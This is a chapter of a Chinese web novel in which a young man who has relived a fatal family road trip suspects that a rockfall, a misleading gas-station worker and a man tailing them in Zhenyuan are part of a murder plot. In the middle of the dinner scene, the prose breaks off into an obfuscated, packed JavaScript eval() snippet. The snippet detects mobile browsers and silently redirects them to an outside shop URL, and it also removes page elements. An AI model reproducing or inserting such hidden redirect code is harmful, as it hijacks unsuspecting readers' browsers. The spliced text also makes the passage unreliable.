“上个厕所,加点油。”父亲把车停在一家中石化加油站。 贺宴下车活动腿脚。加油站不大,只有两个加油机。一个穿着脏兮兮工作服的年轻员工正在给一辆皮卡车加油,见到他们,懒洋洋地点点头。 父亲去付油钱,母亲和小雨去了洗手间。贺宴站在车旁,环顾四周。 小镇很安静,只有几只鸡在路边刨食。对面有个小卖部,门口坐着个老头在晒太阳。一切看起来平常得不能再平常。 但贺宴的神经却绷得更紧了。 因为太平常了。 在原时间线里,他们在S107上的那个死亡之日,也是一个平常的日子。平常的天气,平常的路况,平常的车辆。然后,在某个平常的弯道,平常被打破了。 “小兄弟,车不错啊。” 一个声音从身后传来。贺宴转身,看见加油站那个年轻员工走了过来,手里拿着块抹布,假装要擦车窗,眼睛却在车里扫视。 “还行。”贺宴挡住他的视线。 “这是去哪玩啊?” “云南。” “哦,远着呢。”员工笑了笑,露出一口黄牙,“这条路不好走,前面有段在修路,要小心。” 修路? 贺宴心里一紧:“哪一段?” “就前面二十公里左右,好像是塌方清理,单边放行。”员工说着,凑近了些,压低声音,“不过你们可以绕道,有条老路,虽然窄点,但能绕过修路那段。” “老路怎么走?” “从前面岔路口右转,沿着河走,大概十公里后回到主路。”员工指了指方向,“比等放行快,就是路况差一点。” 这时父亲付完钱回来了。员工立刻换上笑脸:“老板,加满了,发票在车里。” 父亲点点头,没多说什么。 重新上车后,贺宴把修路的事告诉了父亲。 “导航没提示啊。”父亲看了看手机屏幕,“不过山区信号不好,可能没更新。如果真修路,等单边放行可能要一两个小时。” “那个员工说有条老路可以绕。” 父亲沉吟:“老路……不知道路况怎么样。” “他说能走,就是窄点。” “要不还是等等吧,”母亲说,“老路不安全。” “可是等一两个小时,到镇远就太晚了。”小雨插嘴,“我想早点到,听说镇远夜景很漂亮。” 父亲犹豫了。贺宴看得出,他既不想冒险走不熟悉的老路,也不想耽误时间。 “爸,”贺宴开口,“我觉得可以试试老路。我们开慢点,不行就退回来。” 父亲看了他一眼,有些意外——这还是贺宴第一次主动建议走“可能有风险”的路。 “你确定?” “总比干等强。” 父亲想了想,点头:“好,那就试试。但说好,如果路况太差,我们就掉头。” 车继续前行。十五分钟后,果然看到前方有施工标志,还有“单边放行,请耐心等待”的牌子。几辆车已经排起了队。 父亲没有停车,按照加油站员工指的方向,右转上了那条老路。 路确实窄,仅容一辆车通过。路面是坑坑洼洼的碎石土路,左侧是陡峭的山壁,右侧是湍急的河流,连护栏都没有。车开上去,颠簸得厉害。 “这路……”母亲抓紧了扶手,“能行吗?” “慢点开,应该可以。”父亲全神贯注地握着方向盘,车速降到二十码以下。 贺宴看着窗外。河流在十几米深的谷底奔腾,水声轰鸣。如果从这里掉下去…… 他不敢想。 车缓慢前行了大约三公里。前方出现一个急弯,弯道外侧有一小片相对平坦的空地,停着一辆深蓝色的皮卡车。 车是空的。 父亲按了按喇叭,没人回应。 “可能是当地人的车。”母亲说,“我们慢慢绕过去。” 皮卡车停得有点歪,占了一半路面。父亲小心翼翼地从它左侧挤过去,轮胎距离悬崖边缘不到一米。 就在这时—— 轰隆! 一声巨响从上方传来。 贺宴猛地抬头,透过天窗,看到山壁上有碎石滚落。不是很多,但足够吓人。 “塌方!”父亲惊呼,猛踩油门想冲过去。 但已经晚了。 一块拳头大小的石头砸在前挡风玻璃上,发出沉闷的撞击声。玻璃瞬间裂成蛛网状,但没有破碎——这是夹胶玻璃的优点。 “低头!”父亲大喊。 更多的碎石落下,砸在车顶,发出噼里啪啦的响声。车剧烈颠簸,右侧轮胎几乎悬空。 贺宴本能地扑向小雨,把她按在座位上。母亲在副驾驶尖叫。 时间仿佛慢了下来。 贺宴能清楚听到自己心脏狂跳的声音,听到碎石砸在金属上的闷响,听到父亲急促的呼吸,听到小雨压抑的哭声。 然后,一切突然停止了。 落石停止了。 车也停了下来——父亲把车刹住了,停在皮卡车前方十几米处。 车里一片死寂。 几秒钟后,父亲颤抖着声音问:“都没事吧?” “没、没事……”母亲的声音也在发抖。 贺宴松开小雨,检查她的情况。女孩脸色惨白,但看起来没有受伤。 “我没事,哥。”小雨小声说。 贺宴这才看向前挡风玻璃。裂纹从被砸中的点向四周辐射,像一张破碎的蛛网。但玻璃没有破,视线虽然受阻,但还能看清前方。 “倒车,慢慢倒回去。”贺宴对父亲说,“离开这里。” 父亲点点头,挂倒挡。车缓缓向后移动,经过那辆皮卡车时,贺宴透过车窗往里看—— 驾驶座上没有人。 但副驾驶座上,放着一件深蓝色的工装外套,袖子上有个模糊的logo。 贺宴的瞳孔骤然收缩。 那个logo……他见过。 在车祸现场的记忆碎片里,在那辆蓝色卡车的车门上。 长河运输公司的标志。 --- 二、第一道伤口 车退回到相对安全的路段,父亲停下,熄火。车里四个人,谁都没有说话。只有急促的呼吸声,和远处河流的轰鸣。 贺宴第一个打破沉默:“爸,掉头,回主路。” 父亲的手还在抖,但他点了点头,艰难地在狭窄的路面上完成了一个三点掉头。车头重新对准来时的方向。 “刚才……那是塌方吗?”母亲的声音带着哭腔。 “应该是小范围落石。”父亲深吸一口气,试图让自己平静下来,“山区常见,我们运气不好碰上了。” 运气不好? 贺宴盯着后视镜里那辆越来越远的蓝色皮卡,心脏像被一只冰冷的手攥紧。 巧合太多了。 加油站员工“好心”指了一条老路;老路上“刚好”有辆皮卡车挡路;经过时“刚好”发生落石;而那辆皮卡上,有长河运输公司的工装。 这些巧合连在一起,还能叫巧合吗? 车回到主路,施工路段已经放行。父亲默默排队,通过施工区域时,贺宴看到确实有工人在清理边坡,但规模不大,不像是需要单边放行两小时的大工程。 那个员工在说谎。 或者说,有人在通过他说谎。 到达镇远时已经是下午三点。父亲找了一家临河的客栈,办理入住时,他的手还在微微颤抖。 “要两间房。”父亲对前台说。 “爸,我想自己住一间。”贺宴突然说。 父亲回头看他,眼神复杂。他大概以为贺宴被吓到了,想一个人静静。 “好,那就三间。” 房间在二楼,临江。贺宴关上门,第一件事就是反锁。然后他冲到窗边,拉开窗帘一条缝,观察下面的街道。 客栈门口就是古镇的石板路,游客不多,几个本地老太太在路边卖手工艺品。看起来一切正常。 但贺宴知道,不正常。 他从背包里拿出笔记本,快速写下: “6月28日,S308老路遇险: 1.加油站员工诱导走老路 2.老路遇蓝色皮卡(长河运输logo) 3.经过时突发落石(时机精准) 4.施工规模与等待时间不符(员工说谎)” 写到这里,他停下笔。 现在有两种可能: 第一,这一切真的是巧合。山区落石本来就常见,长河运输作为本地货运公司,有员工开皮卡走老路也正常。加油站员工只是信息有误。 第二,这不是巧合。有人知道他们的行程,安排了这一切。目的是什么?制造一起“意外”事故?但落石的规模和时机,似乎不足以造成致命车祸——除非他们运气极差,被大石头直接砸中。 但如果目的不是当场致死呢? 贺宴想起前挡风玻璃的裂纹。如果玻璃质量差一点,可能就破了。碎石可能飞进车内,造成伤害。或者,如果父亲在惊慌中操作失误,车辆可能坠河。 一场“未遂”的事故? 还是说,这只是一次警告? 他拿出手机,搜索“长河运输公司皮卡”。结果很少,只有几条招聘信息里提到“公司配发工作车辆包括皮卡”。 他又搜“镇远落石事故”。跳出几条新闻,都是多年前的,最近的一条是2016年。 没有今天的事件报道。 当然,小范围落石可能根本不会上报。 贺宴放下手机,走到窗前。沱江在楼下静静流淌,几只游船慢慢划过。对岸是青瓦白墙的侗族吊脚楼,夕阳给它们镀上一层金色。 如此宁静的景象,却让他感到刺骨的寒冷。 如果他的猜测是对的——如果真有人想对他们不利——那么对方已经出手了。而他们甚至不知道对手是谁。 敲门声响起。 “小宴,是我。”父亲的声音。 贺宴打开门。父亲站在门外,手里拿着一个塑料袋,里面是药水和纱布。 “你的手。”父亲指了指贺宴的右手。 贺宴低头,这才发现手背上有一道伤口,大概是被飞溅的玻璃碎片划伤的,不深,但流了点血。他刚才太紧张,根本没注意到疼。 “进来吧。” 父亲走进房间,让贺宴坐在椅子上,自己蹲下来,小心翼翼地用消毒棉签清理伤口。 “疼就说。” “不疼。” 棉签碰到伤口时,贺宴确实没感觉到多少疼痛。和心里的恐惧相比,这点皮肉伤微不足道。 父亲沉默地处理着伤口。他的动作很轻,很专注,就像小时候贺宴摔跤磕破膝盖时那样。 “爸,”贺宴突然问,“长河运输公司,你听说过吗?” 父亲的手顿了顿:“怎么问这个?” “今天那辆皮卡上,有他们的标志。” “哦。”父亲继续包扎,“长河是本地一家货运公司,跟我们公司有过合作——运过几次建材。” “合作愉快吗?” “还行吧,怎么了?” 贺宴犹豫了一下,决定透露部分信息:“我觉得今天的事不是意外。” 父亲抬起头,看着他:“什么意思?” “那个加油站员工,他故意让我们走老路。那辆皮卡停的位置也很可疑。还有落石的时机……”贺宴停住了,因为父亲的表情变得很奇怪。 不是惊讶,不是怀疑,而是一种……复杂的,混合着担忧和疲惫的表情。 “小宴,”父亲把纱布贴好,坐到了另一张椅子上,“我知道今天的事吓到你了。我也吓到了。但你不能因为一次惊吓,就怀疑所有事都是阴谋。” “我不是——” “听我说完。”父亲打断他,“山区落石确实常见,老路路况差也是事实。加油站员工可能只是想赚点绕路费——我后来想起来了,这种地方,指路收费是常有的事。至于那辆皮卡,长河运输的车到处跑,看到也不奇怪。” “可是——” “没有可是。”父亲的声音很坚决,但也很疲惫,“小宴,我知道你最近压力大,想得多。但我们要理性看待事情。不能自己吓自己。” 贺宴看着父亲。这个四十八岁的男人,刚刚经历了一场惊险,手还在抖,却努力装出镇定,来安抚“想太多”的儿子。 在这一刻,贺宴突然明白了:父亲不会相信他。至少现在不会。 在父亲的世界观里,商业竞争有商业竞争的规则,杀人放火是另一个次元的事。要让一个正常的、理性的成年人相信有人要谋杀自己全家,需要确凿的证据。 而贺宴没有证据。只有怀疑,只有巧合,只有来自“未来”的记忆——而这恰恰是最无法被采信的“证据”。 “我明白了。”贺宴最终说,“可能是我想多了。” 父亲松了口气,拍拍他的肩:“好好休息,晚上一起吃饭,逛逛古镇。放松点,出来玩就是为了放松。” 父亲离开后,贺宴锁上门,靠在门后。 父亲不相信他。 这意味着,他只能孤军奋战。 他走到书桌前,重新翻开笔记本。在今天的记录下面,他画了一个箭头,写下: “假设成立:存在针对我家的恶意行动者(下称X) “X特征: “1.能获取我们的行程信息(加油站员工诱导) “2.可能与长河运输有关联(皮卡/工装) “3.行动方式:制造‘意外’(落石) “4.目的:疑似致死或致伤(未遂)” 写完这些,他在“目的”后面打了一个问号。 如果X真的要杀人,为什么不安排更致命的手段?今天的落石规模,致死概率其实不高。除非X的目的不是当场杀人,而是…… 贺宴脑子里闪过一个词:警告。 或者是:试探。 试探他们的反应?试探贺宴是否会起疑?还是试探他们的行车习惯、应急反应? 如果是试探,那就意味着,真正的杀招还在后面。 而他们,正在一步步走向那个杀招。 --- 三、夜色中的跟踪者 晚上七点,全家人在客栈餐厅吃晚饭。 气氛有些压抑。母亲和小雨显然还没从白天的惊吓中恢复,吃饭时很少说话。父亲努力活跃气氛,讲了些公司里的趣事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098587|195451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但效果不佳。 “等下我们去逛逛夜景吧。”父亲提议,“镇远的夜景很有名,沱江两岸的灯笼都亮了,很漂亮。” 小雨点点头,但兴致不高。 贺宴一直在观察餐厅里的人。客栈不大,餐厅里只有四张桌子。除了他们,还有两桌客人:一桌是三个年轻背包客,另一桌是一对中年夫妇。 看起来都很正常。 但贺宴不敢放松。如果X真的在跟踪他们,那么在任何地方都可能有人监视。 饭后,他们走出客栈。天色已暗,沱江两岸的灯笼果然亮了,暖黄色的光倒映在水面上,随波荡漾。古街上游客多了些,但不算拥挤。 一家人沿着江边慢慢走。父亲牵着母亲的手,小雨走在中间,贺宴跟在最后。 他一直在注意身后。 走过一座风雨桥时,贺宴假装拍照,举起手机,通过屏幕观察后方。 人流中,有一个身影引起了他的注意。 一个穿着灰色夹克的男人,大约三十多岁,中等身材,戴着一顶深色棒球帽。他走得不快不慢,始终和他们保持二十米左右的距离。当贺宴停下来拍照时,他也停下来,假装看手机。 一次可能是巧合。 但贺宴测试了三次:一次突然停下系鞋带,一次转身往回走几步,一次拐进路边的小店。 那个男人每次都有相应的动作:停下来,转身,或者也进小店但什么都不买。 被跟踪了。 贺宴的心脏狂跳起来。但他强迫自己保持冷静,没有立刻告诉家人——父亲不会相信,只会认为他又在疑神疑鬼。 他需要证据。 走到一段相对安静的路段时,贺宴突然说:“爸,我想去买瓶水,你们先往前走,我马上追上来。” “前面就有小店。”父亲指着前方。 “我去后面那家,刚才看到有卖本地酸奶的,想尝尝。” “好吧,快点。” 贺宴转身往回走。经过那个灰夹克男人时,他用余光瞥了一眼——男人正背对着他,假装看江景,但身体的姿势很僵硬。 贺宴没有停下,继续走到后面一家小店,真的买了一瓶水和一盒酸奶。付钱时,他通过店里的镜子观察外面。 灰夹克男人还站在那里,面朝江水,但头微微侧着,显然在注意贺宴的动向。 贺宴走出小店,没有立刻去追家人,而是拐进了旁边一条小巷。 巷子很窄,两边是古老的砖墙,只有几盏昏暗的路灯。贺宴加快脚步,走到巷子中段时,闪身躲进一个门洞里。 几秒钟后,脚步声传来。 很轻,但确实有人跟进了巷子。 贺宴屏住呼吸,从门洞的阴影里向外看。 灰夹克男人走进巷子,脚步放得很慢,左右张望。他在找贺宴。 就在男人经过门洞的瞬间,贺宴猛地冲出去,从后面一把抓住男人的胳膊,同时另一只手去掀他的帽子。 “你是谁?为什么跟踪我们?” 男人显然没料到这一手,惊慌中用力挣扎。但他力气不小,一下子挣脱了贺宴的手,转身就跑。 贺宴想追,但男人跑得很快,转眼就消失在小巷的另一头。 没有追上。 但贺宴得到了一个重要的信息:在挣扎的瞬间,他看到了男人的脸——普通的长相,但左边眉骨上有一道明显的疤痕,像刀疤。 还有,男人挣脱时,夹克袖子被捋起一截,露出手腕上的手表。 那是一块黑色的运动手表,表盘很大,表带很宽。 贺宴记得这种表。在原时间线里,车祸后,警察和救护人员赶到现场时,他迷迷糊糊中看到一个男人站在警戒线外,戴着同样的手表。 当时他以为是救援人员,但现在想来,那个人站的位置太远了,不像是在工作。 难道…… 贺宴站在原地,心跳如鼓。 如果今天跟踪他的男人,就是车祸现场出现过的男人,那么这意味着:X不仅知道他们会出车祸,甚至可能亲自到现场确认。 这不是普通的商业竞争。 这是谋杀。 冷意从脚底窜上脊椎。贺宴靠在墙上,深呼吸,再深呼吸。 不能慌。现在慌就完了。 他走出小巷,回到主街。家人已经走远了,他快步追上去。 “怎么这么久?”母亲问。 “排队的人多。”贺宴递上酸奶,“尝尝,本地特产。” 小雨接过,插上吸管喝了一口:“嗯,好喝。” 父亲看了贺宴一眼,眼神里有询问,但没说什么。 接下来的游览,贺宴一直心不在焉。他在思考,在计划。 现在确认了:第一,确实有人跟踪他们。第二,跟踪者可能与车祸有关。第三,对方已经开始行动(今天的落石事件)。 而他们,对此几乎毫无防备。 除非…… 一个计划在贺宴脑海里逐渐成形。 回到客栈已经九点多。小雨累了,先回房睡觉。父母在客厅坐了一会儿,也回房了。 贺宴等他们都关上门,才拿出手机,打开地图。 S308省道,从镇远往西,会经过几个城镇,然后进入云南。按照父亲目前的行程计划,明天他们会到凯里,后天到贵阳,大后天进入云南。 如果X要在路上制造“意外”,最可能的地段是:第一,山区路段;第二,车流量小的时段;第三,他们必经之路。 贺宴把地图放大,仔细研究明天要走的路线。从镇远到凯里,大约一百五十公里,大部分是山路,有几个著名的险峻路段。 其中一个叫“老虎口”的地方,引起了他的注意。 那是一个U形急弯,外侧是悬崖,没有护栏。地图上的街景照片显示,那段路确实很险。 如果要在那里制造事故…… 贺宴打了个寒颤。 他必须做点什么。 但做什么?警告父亲?父亲不会信。报警?没有证据,警察不会立案。自己暗中保护?他只有一个人,能力有限。 除非……他能在X行动之前,先发制人。 怎么先发制人? 贺宴盯着地图,突然有了一个主意。 如果X的目的是制造“意外”,那么“意外”需要几个要素:特定的地点,特定的时间,特定的方式。 如果他能在X计划的地点,提前制造一点“小意外”,让那个地点变得不适合制造“大意外”,会不会打乱X的计划? 比如,在“老虎口”弯道,如果提前有一辆“故障车”停在路边,或者有“施工警示”,那么父亲经过时会格外小心,X就很难下手。 但这需要精确的时机,需要他提前行动,需要他独自离开家人——这本身就有风险。 而且,如果X发现他在反制,可能会采取更激烈的手段。 风险很大。 但贺宴没有选择。 他拿出笔记本,开始计算时间。明天从镇远到凯里,按照父亲的驾驶习惯,大概需要三个半小时,包括中途休息。如果早上八点出发,中午十一点半左右会经过“老虎口”。 他需要提前两小时到那里布局。 这意味着,他必须凌晨五点就出发,租车或找其他交通工具,提前赶到“老虎口”。 怎么跟家人解释?说他早起看日出?或者干脆不告而别? 不告而别的风险太大,家人会担心,可能会报警,反而更麻烦。 就说早起拍照吧。父亲知道他有这个爱好。 贺宴定好凌晨四点半的闹钟,然后开始搜索从镇远到“老虎口”的交通方式。有班车,但时间不对。租车?镇上可能有租车行,但这么早可能没开门。 最可能的方式是:打车。 他查了镇远的出租车公司,记下几个电话。打算明天一早打电话叫车。 计划雏形有了,但还有很多细节需要完善:到了“老虎口”后具体怎么做?制造什么样的“小意外”?如何确保不被X的人发现?如何确保自己的安全? 贺宴一条条思考,在笔记本上写写画画。 深夜十一点,客栈彻底安静下来。只有窗外沱江的水声,隐隐约约。 贺宴走到窗边,看着外面的夜色。 古镇的灯笼大部分已经熄灭,只剩下几盏路灯,在江面上投下细碎的光。 黑暗,但并不平静。 他知道,在这个夜晚,可能还有别人也在计划着什么。在某个他不知道的地方,X正在部署下一步。 而他,一个二十一岁的大学生,一个从地狱归来的幸存者,要在这场不对称的战争中,保护自己的家人。 这几乎是不可能完成的任务。 但他必须完成。 因为这一次,他不能再失去他们。 绝对不能。 贺宴关掉灯,躺到床上。他没有睡,只是闭着眼睛,在黑暗中梳理每一个细节。 凌晨四点,闹钟还没响,他就已经睁开了眼睛。 窗外还是漆黑一片。 新的一天,开始了。 倒计时第二天。 也是他与X的第一次正面交锋。